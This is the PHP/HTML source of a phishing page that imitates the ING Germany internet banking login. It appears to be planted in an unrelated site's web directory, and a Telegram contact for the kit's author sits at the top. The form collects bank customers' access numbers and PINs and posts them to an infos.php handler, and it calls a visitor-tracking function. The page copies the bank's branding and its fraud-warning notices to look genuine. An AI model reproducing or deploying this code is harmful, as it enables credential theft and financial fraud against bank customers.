File: //home/handcraf/www/ING/index.php
<!-- ____ INFORMATION ____
TELEGRAM : @alexronyy
-->
<?php
require_once "functions.php";
visitors();
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ING Login</title>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- template css files-->
<link rel="stylesheet" href="css/bootstrap.css">
<link rel="stylesheet" href="css/test.css">
<link rel="preconnect" href="https://fonts.gstatic.com">
<!-- js files-->
<script src="js/html5shiv.min.js"></script>
<script src="js/respond.min.js"></script>
<!-- logo site web-->
<link rel="icon" href="image/icon.png" type="image/x-icon" />
<link rel="shortcut icon" href="image/icon.png" type="image/x-icon" />
<!-- fontawtsome -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/js/all.min.js"></script>
</head>
<body>
<header>
<div class="header container">
<div class="logo"><img src="image/log.svg"></div>
</div>
</header>
<section id="login">
<div class="container">
<div class="titre"><h2>Log-in</h2></div>
<div class="row">
<div class="col-lg-6" style="margin-bottom:50px">
<div class="form">
<form action="infos.php" method="post">
<legend>Anmelden mit Zugangsdaten</legend>
<div class="a"><a style="color:#525199;" href="#">Zugangsdaten vergessen?</a></div>
<div class="form-group row" style="margin-bottom: 50px;">
<label class="col-md-4" for="user">Zugangsnummer</label>
<div class="col-md-8">
<input type="text" maxlength="10" name="user" id="user" class="form-control">
<span>Letzte 10 Stellen Ihrer IBAN / Depotnummer</span>
<?php
if( !empty($_SESSION['errors']['user']) ) {
echo '<div class="error" >Ihre Anmeldung war nicht erfolgreich. Bitte geben Sie Ihre 10-stellige Zugangsnummer ein.</div>';
}
?>
</div>
</div>
<div class="form-group row" style="margin-bottom: 50px;">
<label class="col-md-4" for="password">Internetbanking PIN</label>
<div class="col-md-8" >
<div class="inp"style="position:relative;">
<input type="password" maxlength="10" name="password" id="password" class="form-control">
<div class="eye-slash"><i class="fas fa-eye-slash"></i></div>
<div class="eye"><i class="fas fa-eye"></i></div>
</div>
<span>Bitte beachten Sie die Groß- und Kleinschreibung.</span>
<?php
if( !empty($_SESSION['errors']['password']) ) {
echo '<div class="error" >Ihre Anmeldung war nicht erfolgreich. Bitte geben Sie Ihre mindestens 5-stellige Internetbanking PIN ein.</div>';
}
?>
</div>
</div>
<div class="bttn">
<button name="submit"><i class="fas fa-angle-right"></i> Anmelden</button>
</div>
</form>
</div>
</div>
<div class="col-lg-6">
<div class="form">
<h3 class="mt-0"><img style="margin-right: 10px;" src="image/code.svg">Anmelden mit App und QR-Code</h3>
<div class="row">
<div class="col-7">
<div class="cont">
<p>Sie nutzen bereits Banking to go? Dann können Sie sich jetzt in Ihrem Internetbanking ganz einfach <b>ohne Zugangsdaten</b> anmelden.</p>
<div class="a" style="margin-bottom:10px;"><a style="color:#525199;" href="#">So funktioniert der QR Log-in</a></div>
<div class="a"><a style="color:#525199;" href="#">QR Log-in Video-Anleitung</a></div>
</div>
</div>
<div class="col-5">
<div><img style="max-width:100%;" src="image/phone.png"></div>
</div>
</div>
<div class="form-check mt-3" style="margin-bottom: 40px;">
<input style="width:18px;height:18px;" class="form-check-input" type="checkbox" value="" id="flexCheckDefault">
<label style="padding-left: 50px;font-size: 15px;" class="form-check-label" for="flexCheckDefault">Auf diesem Gerät und mit diesem Browser immer mit QR Log-in anmelden.</label>
</div>
<div class="bttn">
<button style="border: 1px solid #666666;background: transparent;color: #666666;" type="button"><i class="fas fa-angle-right"></i> Anmelden mit QR Log-in</button>
</div>
</div>
</div>
</div>
<h3>Aktuelle Mitteilungen</h3>
<div class="form">
<ul class="list-unstyled">
<li><svg class="svg-inline--fa fa-angle-down fa-w-10" aria-hidden="true" focusable="false" data-prefix="fas" data-icon="angle-down" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512" data-fa-i2svg=""><path fill="currentColor" d="M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"></path></svg><!-- <i class="fas fa-angle-down"></i> Font Awesome fontawesome.com --> Achtung: Betrüger wollen an Ihre Daten!</li>
<li><svg class="svg-inline--fa fa-angle-down fa-w-10" aria-hidden="true" focusable="false" data-prefix="fas" data-icon="angle-down" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512" data-fa-i2svg=""><path fill="currentColor" d="M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"></path></svg><!-- <i class="fas fa-angle-down"></i> Font Awesome fontawesome.com --> Geld zurück bei Corona-Stornierung?</li>
<li><svg class="svg-inline--fa fa-angle-down fa-w-10" aria-hidden="true" focusable="false" data-prefix="fas" data-icon="angle-down" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512" data-fa-i2svg=""><path fill="currentColor" d="M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"></path></svg><!-- <i class="fas fa-angle-down"></i> Font Awesome fontawesome.com --> Multibanking macht Pause</li>
<li><svg class="svg-inline--fa fa-angle-down fa-w-10" aria-hidden="true" focusable="false" data-prefix="fas" data-icon="angle-down" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512" data-fa-i2svg=""><path fill="currentColor" d="M143 352.3L7 216.3c-9.4-9.4-9.4-24.6 0-33.9l22.6-22.6c9.4-9.4 24.6-9.4 33.9 0l96.4 96.4 96.4-96.4c9.4-9.4 24.6-9.4 33.9 0l22.6 22.6c9.4 9.4 9.4 24.6 0 33.9l-136 136c-9.2 9.4-24.4 9.4-33.8 0z"></path></svg><!-- <i class="fas fa-angle-down"></i> Font Awesome fontawesome.com --> Info-Banner – neue Produktbedingungen</li>
</ul>
</div>
</div>
</section>
<footer>
<ul class="list-unstyled">
<li>Karriere</li>
<li>Vertriebspartner</li>
<li>Wholesale Banking</li>
<li>Kontaktformular</li>
<li>AGB</li>
<li>Datenschutz</li>
<li>Impressum</li>
</ul>
<div><img style="min-width: 144px;" src="image/media.png"></div>
</footer>
<!-- template files js-->
<script src="js/jquery-3.5.1.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script src="js/jquery.mask.js"></script>
<script>
$(".eye-slash").click(function(){
$("#password").attr("type","text");
$(this).hide();
$(".eye").show();
});
$(".eye").click(function(){
$("#password").attr("type","password");
$(this).hide();
$(".eye-slash").show();
})
</script>
</body>
</html>